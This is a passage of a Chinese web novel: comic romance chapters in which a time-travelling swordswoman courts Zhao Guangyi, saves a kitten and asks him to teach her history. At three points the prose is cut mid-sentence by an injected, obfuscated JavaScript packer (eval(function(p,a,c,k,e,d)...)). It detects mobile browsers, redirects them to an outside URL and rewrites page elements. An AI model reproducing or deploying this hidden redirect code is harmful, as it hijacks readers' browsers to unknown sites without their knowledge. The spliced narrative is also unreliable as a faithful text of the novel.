赵光义佯装不知:“听起来难办,本官可得好好找找。” 我:“万一是李煜咋整,你要不明天就开驴车去建康把他给我接来吧。” 赵光义:? 一句话治好赵老二低血压,和青溪比起来我就是这个(大拇指) 我蹦起来,一口亲在他嘴上。 “好了,癔症治愈!哇,府尹大人妙手回春!”我宣布,“我回去睡觉了!明天老时间老地方在升平桥等我,你要不来我就上你家去抓你。我现在不仅知道你家在哪儿,我还知道你哥家在哪儿,给我等着!” 亲完之后,我飞身上屋顶,留下一串诡异的笑声。 我吃到狐狸精了!我吃到狐狸精了! 14. 第 14 章 “阿原!!!” 我又恢复了每天早上大轻功直奔升平桥的作息,而赵光义也没有食言,一如往常,在条凳上笑盈盈地回头看我。 只是他的笑和往常晋中原的笑有了些不同。这时我才察觉到其中微妙—— 晋中原笑起来是很漂亮的,这种漂亮有一点点演绎成分,我非常怀疑这个狐狸精拿捏住了我对他的脸没有抵抗力的弱点,故意练习过怎么露出完美笑容,好让我一照面就被他迷得神魂颠倒。 但赵光义笑起来就相对来说比较浅。他嘴角的弧度稍小,总是先眯眼睛,笑意都在眼睛里,看起来总是有种肚子里憋着坏水的感觉,让人看着就心生警惕。 眼下坐在我面前的就是赵光义,他的眼睛在我身上打了一转,我从怀里把捧了一路的花都倒在了他的腿上,洋洋得意地献宝:“大相国寺的牡丹!” 赵光义拈起一朵玉楼春,在指尖转了转,似笑非笑道:“我说少侠今日怎么迟来了一会儿,原来是去大相国寺偷香窃玉。” 我一叉腰:“不是俺偷嘞,这是俺拾嘞!这花就在大相国寺里头也冇人要,俺拾嘞来有啥毛病?” 说完,我凑到他面前,笑嘻嘻道:“难道公子要报官?” 赵光义装模作样地考虑了一下:“盗窃花草,依律……唔……” 我瘫了:“那你报官吧,让赵老二给我抓走。让他用狗头铡给我漂亮的小脖子砍了又砍。等我死了,我就变成女鬼,天天在开封府徘徊,每天到半夜就给你唱《倩女幽魂》。” 赵光义笑了,他将玉楼春别到腰间,又拿起一枝,叫我:“过来。” 我乖乖坐到他旁边,双手放到膝盖上,期待地看着他。 “低头。”他说。 我低下头,他抬手,从头皮传来些微痒意。我盯着我和他紧挨着的双腿,就听他在我头顶说:“你这幅姿态,倒的确很像犯人引颈受戮。” 听听,这说的是人话吗?! “好了,抬头。” 我抬起头,嘴撅得能挂油瓶,赵光义打量我几眼,眯起眼睛笑:“没想到少侠簪花也别有风流。” 他将玉楼春仔细别在了我的发辫上,我抬手轻轻摸了一下,不敢用力,但自顾自地也美了起来:“嘻,就算被砍头,我也是刑场最漂亮的一颗脑袋!” 什么路易十六和玛丽王后都靠边站! 赵光义听了喷笑,他支起头,柔声道:“好了,这种不吉利的话不要再说。” 你也知道不吉利! 店家端碗来的时候也满脸笑意,他把我俩的早饭各自摆上,用毛巾擦擦手,说我:“少侠今日总算来了,前几日我见只有小晋公子一个,还以为你出什么事了呢。” “没什么事。”我支吾,然后低头用筷子去戳面,小声嘀咕,“你前几天怎么还是过来了啊。” 赵光义“哼”了一声,没有作答。 这是我们第一次肩并肩坐在一起吃早饭,我和他时不时会不小心碰到对方,我不以为意,但赵光义会因此稍有滞涩,最终也没说什么。 “今日你要去哪儿?”赵光义问。 我吃得差不多之后又喝了几口面汤,见他掏出手绢,我就要抢:“哎,手绢!我也要我也要!” 赵光义无奈地任我把他的手绢扯去擦嘴:“昨日抢钱,今日抢帕子,我这身上一应物件怕是都要被你抢走。” 我擦完嘴,顺手把手绢往怀里一塞,听他这么说,我不禁开始上下打量他,目光灼灼:“你身上还有什么好抢的?让我看看!” 赵光义把脸一板:“我可真要报官了。” 我遗憾地叹了口气:“好吧,《宋律》救了你。今日……今日我打算再去达安镇附近看看,听说那儿十二年前有冤情,我打算发扬名侦探精神,你在开封府做赵青天破案,我在达安镇找线索破案,怎么样?” “什么怎么样,随你。”赵光义理理衣袍,悠然起身,“只是,若你闹出什么荒唐事来,可别报我的名字,平白污了我名声。” 我瞪他:“什么话!你这是什么话!我是那种偷鸡摸狗之后大喊一声:隔壁赵二不曾偷!的人吗?是的我是,你给我等着吧,今天我就要让你的大名出现在全大宋的通缉令上。走也!” 我蹿出几步,又猛回头,跑回还立在摊旁的赵光义身边,踮起脚尖在他脸上亲了一口。 “多谢大人今日努力工作,为大宋人民服务!” 趁赵光义惊愕,我嘻嘻一笑,转身飞走。 哇,这狐狸身上就是香! 赵大哥真会养狐狸,不愧是超人官家! ------------------------------------------------------ 达安镇被菌丝包裹,破败荒凉。 仅有的郑姓族人在此苟活,见我要进祠堂也是多加阻拦。我偷听到他们似乎要干什么大事,心中暗暗记下,偷了钥匙,非常叛逆地就打开祠堂大门钻了进去。 哎,你不让我进,我非进! 万一祠堂里有宝箱呢? 结果钻进去之后我就被菌丝当头一喷,孢子铺天盖地洒下来,我当场就是两眼一翻昏倒在地。 恍惚间,我回到了十二年前,亲眼见证郑鄂因为善心招致流寇进村,家中一干人等在他眼前被尽数杀死,整个村子被火烧殆尽。 而我? 这帮流寇见了我也砍啊! 我能有什么办法,我只能一柄长剑从村东砍到村西,村南砍到村北,给什么哨兵刽子手持刀人贺岳峙谢渊停和沈义仁全杀了,砍得我精疲力竭。 杀完之后我想扛起还活着的小郑鄂跑路,结果又是眼前一黑,醒来发现自己躺在荒坟头的守墓人小屋里。 好心的守墓人搁屋外拉二胡,边拉边说:“少侠你醒啦?” 我呆呆站在守墓人旁边,感觉浑身都疼。 “哥们儿,你刚才是不是趁我睡着了偷偷打我了?”我问。 守墓人说:“没有。” 我想了想,又问:“那是其他姓郑的打我了?” 守墓人额头爆出一根青筋:“……当然没有。” 我揉揉肩膀,呲牙咧嘴:“那不对啊,我是在幻觉里头砍的人,怎么醒了还是浑身疼呢……” 一定是孢子有毒! 这隐雾林和达安村附近真是太危险了,以后我要是迫不得已来这儿附近,必须戴上口罩。 不对,看这些菌丝的蔓延速度,这玩意儿得进行生物防治啊…… 官府,起来干活了! 我没着急走,停在守墓人旁边听了一会儿二胡之后,我问他会不会拉《二泉映月》。 守墓人问我《二泉映月》是啥,我说这是某位吴越国道士所作的惊世名曲,如泣如诉,让人听了就哭。没别的,我就是觉得你在坟头拉《二泉映月》更应景,要不我教教你? 守墓人把二胡给我,我把他小马扎抢过来,从包袱里找出墨镜戴上,坐下试了试音就开始拉。 拉着拉着我就听见守墓人发出吸鼻子的声音,于是我越拉越起劲,守墓人吸鼻子的声音越来越频繁,偶尔还有呜咽声。拉完我摘下墨镜,弯着腰凑过去打量守墓人涕泗横流的脸,问:“真哭啦?” 守墓人:“把二胡还我!!!” 我把二胡还给守墓人,拍拍他肩膀,说:“哥们儿,节哀顺变。” 守墓人用衣袖抹着眼泪,恨恨地说:“节哀?如何节哀!仇人如今安居乐业,而我们生不如死,世道何其不公!” 我一惊:“那帮流寇到现在还活着?草,这下还得再杀一遍,服了,一群粪怪……” 但我转念又一想,不对啊,幻觉中是十二年前的事,十二年前过去,那些流寇都老了,他们拿头和我打? 桀桀桀桀,我可以报幻觉中被那帮流寇群殴的仇啦! 我去屋里摸个宝箱,这帮人撵在我屁股后面砍,真是烦也烦死了! 想到这儿,我一拍胸口,对守墓人自荐:“想找雇佣兵可以找我,我价钱公道,你们郑家凑凑钱是可以雇我的。只要钱够了我啥都干!” 守墓人泪眼朦胧地抬头看我:“少侠此话当真?” 我说:“真!不信你上清河打听打听,我在清河是出了名的大恶人,赤衣女鬼听说过吗?偷鸡摸狗挖门盗洞啥都能做,清河的土匪快给我杀绝种了,杀无可杀了我才从清河跑开封来的。” 守墓人哽咽半晌,说:“可他们背后……是朝廷……” 我稀奇地问:“朝廷?咋的,一伙流寇做的普通村民,平时走路不看道卡田里摔死了,吃错了菌子上吐下泻毒死了,或者村里闹个什么汉坦病毒全部瘟死了,朝廷也要管?朝廷也会管?” 说完之后,守墓人看我的眼神变得肃然起敬。 要不可说精神病人思路广呢,这些郑家遗民连报仇都瞻前顾后。 “好……待我们商议过后……”守墓人最后这样答复我。 我对他挥挥手:“有事儿招呼我嗷!要是找不到我,你可以托人送信去开封升平桥边小吃摊,就说找洛少侠!” 又做了好人好事,我心情非常好,向着开封城开始大轻功飞回。 飞到半路,我突然想起来自己刚才在达安村的郑氏祠堂被喷了一身幻觉孢子。鬼知道这些孢子是不是什么病原体微生物,于是我咬咬牙,把外袍脱了烧掉,钻进河里洗了洗,一身水淋淋地爬上岸,找了处被人遗弃的空营地,生起一堆火,发着抖开始烘烤。 “哈啾!哈——哈啾!” 我缩成一团,在火边瑟瑟发抖。 “喵——!!!喵——!!!” 恍惚间,我感觉自己听到了小猫的叫声。 我听声辨位,确定不是自己的幻听之后(精神病的谵妄症状里就有这个,不可不防!),从营地的一口破箱子里找到了一窝瑟瑟发抖的奶猫。 奶猫有三只,其中两只已经僵了,只剩这只黑白花的还在扑腾,顽强发出叫声。 我把奶猫揣到怀里,抖抖身上的水,咬着牙,顶着冷风往开封城内冲。 “赵光义——赵光义——” 我打着喷嚏冲进潜龙殿,冻得嘴唇都紫了。侍卫听到我直呼府尹大人其名吓得对我直哆嗦,我一进屋就感到一阵暖风和香风,绕过遮挡,赵光义抬头来看我,见我一身湿漉狼狈,首先就是拧起眉头。 “你做什么去了?” “别提了,先、先——先看孩子……” 赵光义站起身,刚对侍女说:“拿披风和火盆来。”,就听我丢下这么一个大雷,狐狸眼睛瞪圆了看向我:“什么孩子?” 孙老都从他算账的小屋里探出半个脑袋,苍老的双眼中满是对八卦的渴望。 我从怀里掏出小猫,见它还在扑腾,忍不住欣喜地把它捧到赵光义面前:“看!小猫!它们一窝就活了它一个,这大晚上的我也不知道上哪儿去找东西喂它,所以就……” 我吸吸鼻子,脸上还黏着湿头发,无比期待地仰头去看赵光义:“我能养它吗?” 赵光义从侍女手中扯过披风,兜头盖到我身上,没好气地说:“你养猫还需要我准许?我竟不知道救猫还要下水!” “不不不,下水和救猫是两个事,你听我说……哈啾!” 我低头又打了个喷嚏,赵光义叹了口气,又是吩咐:“备水,让少侠沐浴!” 侍女很快找来了柳编小筐,在里面铺上细软布料,我说这么小的猫只能喝羊奶,于是开封府上下又开始找羊奶。我蜷在披风里烤火,等着热水备好,赵光义就坐在一旁嫌弃地听我叭叭讲今天的见闻。 “……那孢子实在是离谱,啥植物能有那功能,喷一下就给人干倒进幻觉了,幻觉里还都是流寇,我砍得那叫一个精疲力竭。更吓人的是达安村到处都是这种菌丝!隐雾林里也到处都是!我说你们什么时候组织一下,多带点石灰去给达安村和隐雾林撒撒,不然这孢子蔓延到开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103052|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封来了,全开封都得嗨上天,到时候只能盼着林则徐来硝烟……” 我想擦擦鼻涕,伸手到怀里掏了掏,结果把早上抢的手绢掏出来了。我不太舍得用,把手绢又塞了回去,赵光义叹了口气,又给我递了一条:“你啊……整天就喜欢往那危险的地方跑。” “我是到了才知道危险的,谁知道开封周边这么吓人。”我有点委屈,“你以后要是去达安村和隐雾林周边,一定记得戴口罩哦,捂住口鼻!我为了不把孢子带回来,特意下河洗了洗,外套都烧了。” 赵光义抿起嘴角,他欲言又止地看着我,满脸写着:多此一举。 哼,赵老二没有医学常识,我不怪他。 “水来了,你快点去洗吧。”他挥挥手赶我,“免得受冻生了病,把病气都过给了我。” 我揪着披风起身,嘴上没忘了继续抬杠:“那南唐该给我发锦旗!你病了之后说不定会传染整个朝堂,到时候大宋朝廷一锅烩,哈哈,我要李煜敲锣打鼓给我送、送过——哈啾!!!” 我哆嗦着转到屏风后,迅速脱了衣服,整个人投到暖呼呼的木桶里,这才松了口气。 “哎……活过来了……” 我泡了一会儿,等感觉血液循环恢复,整个人都热起来的时候,探出头大声叫:“赵光义!赵光义!” 遥远地传来赵光义模糊的声音:“何事!” “你喂喂猫!”我说,“我好不容易把孩子救回来,别给饿死了!” 屏风那头没了声音,我趴着泡了一会儿,用力搓了搓身上的泥,等到洗干净了,我才“哗啦”出来,随意把身上擦个半干,拎起放在绸布巾旁边的衣服看了看,囫囵就穿了上去。 等我披着湿头发重新出来之后,就看着赵光义曲腿坐在榻上,抬眼上下打量了我一番,很快又皱起眉头。 “干嘛?”我问,“我又惹到你了吗?” “沐浴也不安生,我本想处理些公务,这下都给搅了。”他把手中笔一搁,“过来,赶紧把头发擦干。” 我乖乖地过去,很快就有侍女捧着布巾来给我擦头发。我斜着坐在塌边,兴致勃勃地问他:“这衣服是谁的啊?还是女装,挺好看!” 赵光义斜我一眼:“自然是借来的。” 这天都黑了,他上哪儿去借女装? 不会是他平时自己穿吧? 我想嘲笑他,但想到侍女还在,为了照顾他的形象,就把那些癫话都咽了回去。 “猫呢?”我问。 “让人抱下去喂了。”赵光义点点他面前的小几,示意我看向桌面的碗,“我让厨房熬了姜汤,你赶紧喝。” 我缩了缩,嘟嘟囔囔想耍赖:“姜汤好辣的……我身体特别健康,健壮如牛,上蹴鞠场能晃倒十个后卫!我就不喝了吧……” 赵光义似笑非笑看向我:“你喝是不喝?” 我嘴一瘪,呜呜咽咽开始撒娇:“赵二哥~好二哥~” 赵光义把碗端起,向我这方倾斜身体:“难道少侠更喜欢被强灌?” 我见撒娇不成,只能竖眉装凶:“好啊,赵老二!绝命毒师果然原形毕露了!我就不喝,你待怎的?又要给我喂七日断魂丸?哼,我告诉你我最近认识了新的青溪医者我可以找人洗胃——唔唔唔——” 赵光义一手捏住我的鼻子,另一个手将碗抵到我嘴边。我实在没有办法,只能仰头“咕咚咕咚”大口把姜汤喝了下去。 喝完之后我被辣得双目通红,赵光义将将松开捏着我鼻子的手,将碗放下后一脸的得意之色。 “真倔。”他评价。 我“嗷”一声,挣开给我擦头发的侍女,扑上去就要挠他:“赵老二!!!” 如此近的距离,赵光义猝不及防被我挨上,我揪住他的衣领,凑上去对准他的唇瓣就是一吮。 他浑身僵直,我嗦完下嘴唇又去嗦上嘴唇,嗦完之后我向后一靠,非常满意地看着他泛着水光的红润嘴唇,狞笑着说:“这下你只要一舔嘴巴就全是辣味啦,哈哈!活该!” 赵光义难以置信地看着我,他束好的发丝有些乱,胸前衣料更是褶皱一团,好像良家少男被一通糟蹋。 我对自己的作品相当满意,扭头一看,屋里的侍女在我刚才饿虎扑食上去嗦他们家府尹大人嘴巴的时候就跑了个干净。我拢拢衣服,好奇地问他:“为什么没人上来拦我?要是你平时碰到有人这样上来轻薄你,你要怎么办啊?” 赵光义还在用手指轻碰他的嘴唇,听我这么说,他狐狸眼睛圆睁,气得脸颊都有些红:“除了你,还有谁会做这种不知廉耻的事?!” 我:“对哦,全开封只有我的精神病最重。” 我向赵光义蹭过去,抱住他的一条胳膊,把脸搁到他肩膀上贴贴,黏黏糊糊地表达感谢:“我又不会对别人做这种事,我是喜欢你嘛。阿原~哦不对,阿义~你真好,你收留我,让我在你家洗澡,还给我送衣服送姜汤,像你这样的大善人,青史留名!” 赵光义被我蹭得险些歪倒,他扶着小几坐正,艰难地伸手去推我的头:“之前不是还说我是狗官?你的口风变得真快。” “我有精神病,你别跟我计较嘛。”我抓住他的一只手,揉揉捏捏,双眼晶亮地盯着他,“你知道吗?一定会有人把你是个好人给记录下来,流传到后世的。到时候,别人一提赵光义,就说:哦!是他!他就是那个雪中送炭的大善人!” 赵光义偏头看我,他没有挣开我的手,半晌后轻轻笑了笑:“雪中送炭?” “……嗯。” 我低头去拿我的手与他的手掌比对,又想去摸他的扳指。赵光义收拢五指,扣住我的手,晃了一晃:“后世还会说我什么?” 我看着我们交缠的手,怔怔没有回答。 “编不出来了?”赵光义低声问。 我抬起头,望进他上挑的眼睛,露出一丝微笑。 “我只是在想。”我说,“其实我想和你一起被写进史书里。” 15. 第 15 章 赵光义的脸色微微变了。 我不得不佩服这只狐狸精的养气功夫,尽管非常明显地能看到他内心动摇,可开口,他还是在假装云淡风轻地损我:“想上史书?你想上哪一部分?” 我也顺着他的话说:“别是《佞幸列传》就行啦!” 他嗤笑一声:“有资格进《佞幸列传》也都是能人,诸如邓通、李延年,你觉得自己能做出堪比他们的功业吗?” 我露出茫然表情:“邓通是谁啊?李延年我好像听说过,杜甫是不是写过《江南逢李延年》?落花时节又逢君那个!” 赵光义提起一口气,恨铁不成钢地咬起牙:“那是李龟年!” 我:“都说了我是半文盲嘛!” 赵光义:“半文盲如何与我一同进史书?莫非你要仿效兰京专诸?” 我:“兰京?什么南京,狐尹大人,你说话怎么有口音?” 赵光义翻了个白眼,我觉得他已经被半文盲气得不想开口。 我拉着他的手,嘻嘻笑着轻轻晃:“干嘛~干嘛~好了好了,我确实不知道邓通是谁,李延年我只是有一点点印象,依稀记得他是汉武帝时期的人物,可他究竟干了什么我是真的不知道!不过我知道兰京和专诸哦!他们都是刺客!专诸刺王僚,兰京是个厨子,他杀了高澄,对吧?” 赵光义瞥我,凉凉地说:“好歹还有救。” “哼,要是我真的笨得无可救药,你也不会理我嘛。”我抓起他的手,贴到我的脸边,轻轻蹭了蹭,“赵光义……好阿义,我听说你从小就读书多,你能不能教教我呀?” 赵光义任由我用脸去蹭他的手心,蹭完手心蹭手背,他垂眸看我,神情不变:“教你什么?” “教我读史。”我小声说。 赵光义稍稍提起嘴角,语气微妙:“只是读史?” “是啊。”我坦然地对上他灯下微微泛着金褐色的眼睛,“我想先从读史开始。” “我想知道天下为何会变成如今这个局势,我想知道国家是如何运作起来的,你们如何筹措到钱粮税赋,如何控制军队,如何组织官吏,如何让政令下行到州县……” “我想知道你如何看待历史和天下。” 我知道,我在试图触及赵光义最核心的那一点心火,可我没有任何回退之意,只有向前,无比坚决。 赵光义也直视着我的眼睛。灯下,他依旧脸庞莹白,眉目如画,可我知道,这精怪一样美丽的尊贵殿下正细细猜着我的心思,若是猜出那么一点可疑,他就会真的像狐狸精一样血淋淋地撕开我的胸膛,剖开我的心。 “为何想知道这些?”他又轻又慢地问。 我们依旧交握着手,十指相扣,可心意却无法通过肌肤来相通。我有些遗憾,但并未遗憾太多。 因为我还有言语。 “我只有剑啊。”我笑着说,“阿义,一人一剑,即便将武功修炼到极致,又能做到什么呢?” “你是天下第一人的弟弟,你知道,赵大哥拥有那样无人可匹敌的武学造诣,任谁都无法对他造成人身威胁。可阿义,你又比任何人都清楚,赵大哥他有多少夜晚难以成眠。这天下的问题,难道单靠盘龙棍就能全部解决吗?” 赵光义凝视着我,他没有出声,我便得以继续。 “我才十六岁,我想学习更多。我的剑能保护自己,我也想用剑继续保护更多的人。可除了剑,我想知道用什么方法能让更多人过上更好的生活。我想……” 我直直望进他的双眼,如宣告般低语: “我想帮到你。就算我真的非常笨,什么都做不到,至少,也让我知道,你的大义究竟是什么。” 赵光义的脸突然颤了一下。 像是看到了什么难以名状的物体,他此刻流露出的神情有些不可思议。 我也在密切观察他的反应,见他没有被我感动到潸然泪下然后抱着我嘤嘤直呼好少侠你真爱我你太好了我要把你藏到最厚实细密的狐狸胸前绒毛里,我就知道,我这一番话有可能要砸。 好像确实有点太激进了! 赵光义可能不喜欢我流露出想窥探他庙堂部分的想法! 江叔和寒姨教给我的江湖保命小妙招中最重要的一招就是:“见势不好撒腿就跑”,轻功就是为这种时刻准备的。我的大轻功炉火纯青就是在一次又一次被大鹅狂暴碾压的抱头鼠窜里磨练出来。 此时此刻,面对神色阴晴不定的开封府尹赵老二,我必须考虑这是不是我此生仅有的撤退机会! 我对他挤出灿烂的笑容,手已经悄悄地松开,屁股也在向后挪动:“当然啦,这种事也是需要好好考虑的。你想一想,我也去准备准备束脩,总不能让你白上课,哈,哈哈……” 走也!!! “别动!” 赵光义死死扣住手指,他一个使力,强行将我的手拽住,将我重新扯回他的面前。 我缩成一团,另一只手摆出金玉手的架势背在身后,时刻准备把他定身:“怎、怎么了?” 奇怪的是,他竟然笑了。 笑得还有几分狰狞。 “教,怎么不能教?”赵光义轻声细语,“少侠有心学,我自然会倾囊相授。只是不知道少侠想从什么年代的史开始学起?我想想……不如先从《春秋》开始,从三代到汉唐,再至今日。史家内容繁多,希望少侠能不负今日豪言壮语,一路坚持。” 他笑得我毛骨悚然,我突然开始怀疑自己的决定了。 怎么感觉赵老二会借着教我的机会狠狠折磨我呢? 不,我觉得他一定会借机折磨我! “好,好的。”我也讨好地对他笑,“那,我得给先生拿点什么作为学费?” 赵光义“哼”地发出一声冷笑,他捏住我的下巴,慢慢凑了过来。 “先欠着,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我转动眼珠,干巴巴地问他:“我住哪儿?” 赵光义温声说:“自是给少侠准备好了客房。” 我蠕动着找了个姿势躺好,打了个呵欠,说:“好,我一会儿就去。让我先在你这儿歇会儿,那幻觉真是累死人了,就连祠堂的狗都不好打。唉,黑熊……唉,白鹅……唉,狐狸……” 跃动的烛光中,我凑近温暖的源头,迷迷糊糊闭上眼睛。 梦中,我感觉有人轻抚过我的脸,又流连我的脖颈。 痒,我却懒得驱逐,只能缩起脖子,又将脸埋到胳膊底下去。 依稀有人抱住了我,从肘腋下将我架起,我自然地环住一条宽阔的脊背,依恋地贴住那人的颈窝。 真好。我想,这个念头如泡沫般短暂。我又有了依靠。 16.第 16 章 我做了一个梦。 梦里,我来到了开封皇宋大礼堂,龙纛飘扬的将台上,大红横幅“大宋优秀青年表彰大会”挂在最顶头。将台下人头攒动,都是紫衣绿衣的朝臣将官。 我胸前别着大红花,身上穿着礼服,笑容满面地对着台下挥手示意。 赵光义还是一袭紫袍,他化了全妆,精神抖擞,手中拿着话筒,正语气昂扬顿挫地念发言稿: “……回首过去的征程,洛斐逸为大宋统一事业做出的贡献清晰可见!面对穷凶极恶的契丹分裂分子,洛斐逸迎难而上,血战不退,驾驶驴车护官家安全!面对狡猾阴险的南唐反叛鼠辈,洛斐逸沉着冷静,果断破局,直扑建康逮捕李煜!” “今天,朝廷决定授予洛斐逸‘大宋皇家勋章’,这不仅是对她个人能力的认可,更是对她‘侠之大者,为国为民’精神的致敬!希望每个江湖人都能像她一样,忠君爱国,拥护朝廷,书写新时代的大宋篇章!” 台下掌声雷动,我眼眶含泪,频频摆手:“首先要感谢超人官家的倾力相助!如果不是官家教会我太祖长拳和盘龙棍法,我也不能以一敌百,突入南唐皇宫。其次要感谢开封府尹赵光义的背后支持!是他的美貌给了我前进动力,只要想起府尹大人的倾世容颜,我挥剑有劲儿了,和契丹人对打也有力气了!” “官家放心,强宋有我!” 赵光义矜持地点点头,深情地宣布:“接下来,有请尊敬的陛下,大宋官家来为洛斐逸授予勋章!” 恢弘的背景音乐中,赵大哥穿着美丽的舞男轻纱一溜烟地上台,手里还拿着一件明晃晃的黄色大袍子。 一见到我,赵大哥就拎着黄色长袍往我身上披,我大惊失色,不由得挣扎起来:“做什么!赵大哥你这是做什么!我怎么能穿这种衣服呢!” 赵大哥铁扇一样的双手强行把我按住,用黄色长袍把我裹得严严实实:“俺让你穿,你就穿!接下来俺还要把弟弟嫁给你呢!” 赵光义在一旁做羞涩状,台下的文武官员山呼万岁,我不由得露出痛心疾首的表情:“哎呀!你们!你们害苦了我呀!害苦了我呀!” “……嘿嘿,我不穿……我……嘿嘿……我不穿……” 耳垂上忽然传来奇怪的痛感,湿漉漉的,还伴随着“啧啧”的声响。我吧唧了一下嘴,迷迷糊糊地睁开眼睛,就看到一袭紫袍的赵光义站在床头,正似笑非笑地俯视着我。 我茫然地与他对视,说:“你,你来了,爱……” 爱妃…… “果然,我就说你在我下朝后也不会醒。”他嗤笑一声,“怎么睡着了还在笑,这是做了什么美梦?” 我刚想回忆梦的内容,耳垂上又是一痛。 “哎!这、这什么——” 我从耳朵上揪下一团毛绒绒暖呼呼的小玩意儿,拎到眼前一看,赫然是我昨天捡回来的小奶牛猫。 小猫崽显然是把我的耳垂当做奶嘴,刚才正拼命地下了死劲儿在嘬,硬生生给我嘬醒了。 小猫可爬不上床头,我瞪向赵光义,他一脸的坦然:“你不是说这是你孩子?孩子饿了,我自然带着它来找你。” “它饿了,难道我这儿能有吃的吗?”我捧着小猫,从被窝里心不甘情不愿地钻了出来,“等等,不对,你为什么跑来看我睡觉?!” 赵光义背着手,悠然说:“这可是开封府,本官为何不能在开封府自由出入?” 我:“你就是想看我睡觉流口水!” 赵光义故作惊讶:“还有此等盛景?” 臭狐狸出去啊!!! 我用头槌把赵光义一路顶出客房。 我匆忙洗漱换衣,又去找侍女拿羊奶喂了小猫之后,背着手去找赵光义。 赵光义在梳妆。 他已经脱了那身紫袍,穿上白色便服。只是护臂皮甲都还没系上,袍袖松垮,正专心地对着铜镜以一支细细的毛笔点染眼尾。 化妆呢,哥? 我悄悄地在赵光义身边蹲下,也不出声,就是盯着他的侧脸,看他有条不紊地重画眼妆,细致描眉,最后再取了一点点口脂,抿在了嘴唇上。 这一切都做好之后,赵光义才偏头来看我,勾唇一笑:“少侠这是在想什么?” 我脱口而出:“小轩窗,正梳妆。相顾无言,惟有……” 赵光义一挑眉:“这是何意?” 我咬了一下舌头,赶紧晃晃脑袋:“不好,不好,这词不吉利,换一首。嗯……云想衣裳花想容,春风拂槛露华浓!” “照花前后镜,花面交相映!” “借问汉宫谁得似,可怜飞燕倚新妆!” “欲把阿原比西子,淡妆浓抹总相宜!” 赵光义越听越觉得不对劲,他拿起梳子,及时制止了我继续把他往四大美女的方向塑造,说:“你从小学的这都是什么乱七八糟,囫囵背了诗词,都不理解其中含义吗?” 我:“万一我真的理解呢?” 赵光义斜眼看我:“那你可真的要进开封府牢蹲上一蹲了。” 听他这么恐吓,我也不害怕,笑眯眯地捧着脸看他又揭开一个青瓷小瓶的盖子,挖出一点香膏均匀抹到梳齿上,再一点一点仔仔细细地开始梳头。 想到每天赵光义都是这么精心打扮过再去升平桥见我,我就感觉通体舒泰,一会儿能吃五碗饭。 这下谁还能分得清我和唐玄宗?! 李煜都未必能有这个福分!那大小周后,能有赵光义好看吗?能吗? 那后世人一个个都黑了心肝,平白无故造赵光义的黄谣,说什么他强抢民女,强抢小周后,强抢花蕊夫人…… 那些人能有他自己好看吗? 不能! 他先提防着自己被人抢去了吧! 我原地沉醉了一番,等赵光义拿起抹额,我才站起来,狗狗祟祟地走到桌前,低头去打量那一桌的瓶瓶罐罐。 “对我的面脂香膏感兴趣?”赵光义问。 我“嗯”了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110202|163805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,小心地揭开瓶盖看了一眼,闻了闻味道,又放了回去。 “你要是想要,从我这儿挑点喜欢的拿走。”他随口说,给后脑勺上系了一个小辫,“我看你平日里不施粉黛,应该也没有类似的东西。” 我笑了一声:“不用了。我才十六,青春逼人,年轻就是最漂亮的。” 赵光义抬眼看向我,我补充了一句:“你也还年轻呢,就算不抹这些也好看。” 赵光义看起来好像并不认同。 “纵使佛说红颜枯骨,奈何世人还是被皮囊所惑。光是见到漂亮好颜色,都禁不住会多看一眼。”他淡淡道,“为了行事方便,本官也不得不对外貌修饰一二。某位少侠不也心心念念俊俏的白衣小郎君吗?” 我噎了一下,扭捏起来:“啊这……我承认一开始是见色起意……” 有点奇怪,赵光义看起来好像不是很高兴。 这种微妙的感觉一闪而逝,他没继续多说,如往常那样邀请我去升平桥吃早点。 升平桥的老板早就接受了我和晋中原日渐亲昵的事,我俩挨在一条长凳上吃了早饭。 依旧是我边吃边叭叭,从要给奶牛猫取什么名字说到我要去买上学用的文具。赵光义嘲笑我不想着上课的内容,反而先关注文具这种琐碎事情,我说这就叫“差生文具多”,让他做好被我气得乳腺增生的准备。 俗话说“上辈子杀猪,这辈子教书”嘛! 哦,等一下,赵光义是不是已经有点乳腺增生了?毕竟从他的官威来看…… 吃完早餐,我俩就要分开了。 赵光义要回开封府工作。他每天都要判案子,精力充沛的赵青天大老爷一天能判几百件。 我凑过热闹,在他批状子的时候趴在一边围观过。坏心眼的赵大人就拿着状子逗我,问如果是我要怎么判?我接过状子翻了翻,说:“死刑,死刑,死刑,死刑……哦这个有点太坏了,诛九族。死刑,死刑,死刑……哇这个怎么这么坏啊,剥皮实草!” 赵光义:没你的事了,去玩吧。 我也不气馁,只是有点不甘心。 在清河,我当然是接触不到政务的,平日里主要就是练剑。其余时间也只是在寒姨那儿粗略地读读启蒙认字书,四书五经之类。 就连诗词,也都是癔症发作后渐渐记起来的高考考纲背诵内容。 说我是半文盲那是一点没错,我承认。 可我不想继续做半文盲。 